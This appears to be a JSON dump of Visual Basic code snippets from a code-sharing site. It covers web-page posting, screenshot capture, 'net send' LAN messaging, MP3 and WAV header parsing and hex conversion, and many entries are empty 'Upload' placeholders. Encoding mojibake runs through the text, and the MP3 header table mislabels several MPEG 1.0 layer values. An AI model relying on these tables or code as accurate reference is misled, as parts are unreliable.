aviableΓÇ¥ \n Else \n MsgBox\nΓÇ£Unknow responseΓÇ¥ \n End If \n End If \nEnd Sub \n \nAs you can see this is only a silly little example,\nbut with this you can understand how to sending informations to a web-page in a\neasy way. \nRemember that you must URL-Encode each byte you send to the page and that some\nspecial chars may lost during encoding. \n \nThatΓÇÖs all, folks \n \nHope this tutorial help you! \nSebaMix\n"},{"WorldId":1,"id":31584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33789,"LineNumber":1,"line":"Public Sub GetScreenShot(SetObj As Object)\n On Error Resume Next\n Dim CurrCBData As Variant, CurrCBText As String, CurrPict As String\n keybd_event vbKeySnapshot, 1, 0, 0\n SetObj.Picture = Clipboard.GetData(vbCFBitmap)\n Clipboard.Clear\nEnd Sub"},{"WorldId":1,"id":31235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27511,"LineNumber":1,"line":"Private Sub Command1_Click()\n'This simple code uses no api calls. it simply opens an ldb file that\n'you choose (me.txtLocation) and places the the data in an Array\n'For each variable in the array it shoots off a batch 'netsend'\n'with a message you supply (me.txtmsg)\nDim strText As String\nDim vArray As Variant\nDim vParse As Variant\nDim iCount As Integer\n Open Me.txtLocation For Input As #1\n Input #1, strText\n For x = 1 To 25 'get rid of spaces-replace with single space\n strText = Replace(strText, \" \", \" \")\n Next\n strText = Replace(strText, \" \", \",\") 'replace all single spaces with a comma\n vArray = Split(strText, \",\", -1) 'find all commas and split into an array\n For Each vParse In vArray\n iCount = iCount + 1 ' Get every other variable in Array (odd numbers)\n If iCount Mod 2 <> 0 Then\n RunBatch = Shell(\"net send \" & _\n vParse & \" \"\" \" & txtmsg & \"\"\"\", vbNormalFocus)\n End If\n Next\n MsgBox \"Message Sent\"\n Close #1\nEnd Sub"},{"WorldId":1,"id":31796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25836,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<TITLE>Untitled Document</TITLE>\n<STYLE type=\"text/css\">\n div {font-family:Verdana; font-size:8pt} .dejvi {font-family:Verdana; font-size:8pt; color:red} \n</STYLE></HEAD>\n<BODY>\n<CENTER>\n\n2nd byte has to be in between [F2,F7] or [FA,FF], \nand the info extracted from 2nd byte is as follows: \n\n<CENTER><TABLE BORDER CELLSPACING=1 CELLPADDING=1 WIDTH=200>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Value </div></TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG, Layer</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">CRC</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F2</div> </TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F3</div> </TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F4</div> </TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0, Layer 2</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F5</div> </TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0, Layer 2</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F6</div> </TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0, Layer 1</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F7</div> </TD>\n<TD WIDTH=\"70%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0, Layer 1</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n</TABLE>\n</CENTER>\n \n<CENTER><TABLE BORDER CELLSPACING=1 CELLPADDING=1 WIDTH=200>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Value </div></TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG, Layer</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">CRC</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">FA</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">FB</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">FC</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">FD</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">FE</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">FF</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0, Layer 3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n</TABLE>\n</CENTER>\n \n\n3rd byte has to be in between [1x,Fx] (Where x is between [0,B]), \nand the info extracted from 3rd byte is as follows: \n\n<CENTER><TABLE BORDER CELLSPACING=1 CELLPADDING=1 WIDTH=200>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Value (x)</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0 Frequency</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0 Frequency</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[0,3]</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">44 KHz</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">22 KHz</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[4,7]</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">48 KHz</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">24 KHz</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[8,B]</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">32 KHz</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">16 KHz</div> </TD>\n</TR>\n</TABLE>\n</CENTER>\n \n<CENTER><TABLE BORDER CELLSPACING=1 CELLPADDING=1 WIDTH=200>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Value</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 1.0 Bit-rate</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">MPEG 2.0 Bit-rate</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">1x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">32 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">8 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">2x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">40 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">16 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">3x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">48 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">24 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">4x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">56 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">32 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">5x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">64 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">40 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">6x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">80 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">48 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">7x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">96 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">56 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">8x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">112 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">64 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">9x</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">128 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">80 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Ax</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">160 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">96 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Bx</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">192 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">112 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Cx</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">224 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">128 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Dx</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">256 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">144 Kbit</div> </TD>\n</TR>\n<TR><TD WIDTH=\"20%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Ex</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">320 Kbit</div> </TD>\n<TD WIDTH=\"40%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">160 Kbit</div> </TD>\n</TR>\n</TABLE>\n</CENTER>\n \n\n4rd byte is of type ax(hex), where a is between [0,F], and x is between [0,F], \nand the info extracted from 3rd byte is as follows: \n\n<CENTER><TABLE BORDER CELLSPACING=1 CELLPADDING=1 WIDTH=250>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Value (a)</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Original</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Emphasis</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Copyright</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">0</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">None</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">1</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">50/15 microsec</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">2</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Invalid</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">3</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">CITT j. 17</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">4</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">None</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">5</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">50/15 microsec</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">6</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Invalid</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">7</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">CITT j. 17</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\" HEIGHT=18>\n<div align=\"center\">8</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\" HEIGHT=18>\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\" HEIGHT=18>\n<div align=\"center\">None</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\" HEIGHT=18>\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">9</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">50/15 microsec</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">A</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Invalid</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">B</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">No</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">CITT j. 17</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">C</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">None</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">D</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">50/15 microsec</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">E</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Invalid</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">F</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n<TD WIDTH=\"80%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">CITT j. 17</div> </TD>\n<TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Yes</div> </TD>\n</TR>\n</TABLE>\n</CENTER>\n \n<CENTER><TABLE BORDER CELLSPACING=1 CELLPADDING=1 WIDTH=130>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Value (x)</div> </TD>\n<TD WIDTH=\"90%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Channels</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[0,3]</div> </TD>\n<TD WIDTH=\"90%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Stereo</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[4,7]</div> </TD>\n<TD WIDTH=\"90%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Joint Stereo</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[8,B]</div> </TD>\n<TD WIDTH=\"90%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">2 Channels</div> </TD>\n</TR>\n<TR><TD WIDTH=\"10%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">[C,F]</div> </TD>\n<TD WIDTH=\"90%\" VALIGN=\"MIDDLE\">\n<div align=\"center\">Mono</div> </TD>\n</TR>\n</TABLE>\n</CENTER>\n</CENTER>\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":25787,"LineNumber":1,"line":"\n In order for this to work you would have to have these on your form: \n\n\n ┬á┬á- Text Boxes named: \n ┬á┬á┬á┬á┬á┬átxtFile \n ┬á┬á┬á┬á┬á┬áFreq \n ┬á┬á┬á┬á┬á┬áBit \n ┬á┬á┬á┬á┬á┬áChannel \n ┬á┬á- Button named: \n ┬á┬á┬á┬á┬á┬áLoad \n Note: I didn't want to use Common dialog or any other control for\n simplicity, you just type the location of your wave file in a textbox. \n \n Code:\n\n <hr>\n\nDim Buf As String * 58 Dim beg As Byte \nPrivate Sub Load_Click() \n┬á┬áOpen txtFile.Text For Binary As #1 \n┬á┬á┬á┬áGet #1, 1, Buf \n┬á┬áClose #1 \n┬á┬ábeg = InStr(1, Buf, \"WAVE\") \n┬á┬áIf beg = 0 Then \n┬á┬á┬á┬áMsgBox \"Sorry not a wave file...\", vbCritical, \"Error...\" \n┬á┬áElse \n\n┬á┬á┬á┬á'The 23rd byte in a wave file determines if file is Mono(1 Ascii) or Stereo(2 Ascii) \n\n┬á┬á┬á┬áIf Mid(Buf, 23, 1) = Chr$(1) Then \n┬á┬á┬á┬á┬á┬áChannel = \"Mono\" \n┬á┬á┬á┬áElse \n┬á┬á┬á┬á┬á┬áChannel = \"Stereo\" \n┬á┬á┬á┬áEnd If \n\n┬á┬á┬á┬á'The 25th byte in a wave file determines how many KHz the file has \n┬á┬á┬á┬á'44KHz(Ascii 68{44 hexadecimal}) \n┬á┬á┬á┬á'22KHz(Ascii 34{22 hexadecimal}) \n┬á┬á┬á┬á'11KHz(Ascii 17{11 hexadecimal}) \n\n┬á┬á┬á┬áFreq = Sredi(Mid(Buf, 25, 1)) / 17 * 11 & \" KHz\" \n\n┬á┬á┬á┬á'The 35 byte in a wave file determines if the file is 16bit(16 ascii) or 8bit(8 ascii) \n\n┬á┬á┬á┬áBit = Sredi(Mid(Buf, 35, 1)) & \" Bit\" \n┬á┬áEnd If \nEnd Sub \nPrivate Function Sredi(ByVal accStr As String) As String \n┬á┬áSredi = Trim(Str(Asc(accStr))) \nEnd Function \n\n<hr>\n\n"},{"WorldId":1,"id":23800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24550,"LineNumber":1,"line":"Public Function BigDecToHex(ByVal DecNum) As String\n ' This function is 100% accurate untill 15,000,000,000,000,000 (1.5E+16)\n \n Dim NextHexDigit As Double\n Dim HexNum As String\n \n HexNum = \"\"\n While DecNum <> 0\n NextHexDigit = DecNum - (Int(DecNum / 16) * 16)\n \n If NextHexDigit < 10 Then\n HexNum = Chr(Asc(NextHexDigit)) & HexNum\n Else\n HexNum = Chr(Asc(\"A\") + NextHexDigit - 10) & HexNum\n End If\n \n DecNum = Int(DecNum / 16)\n Wend\n If HexNum = \"\" 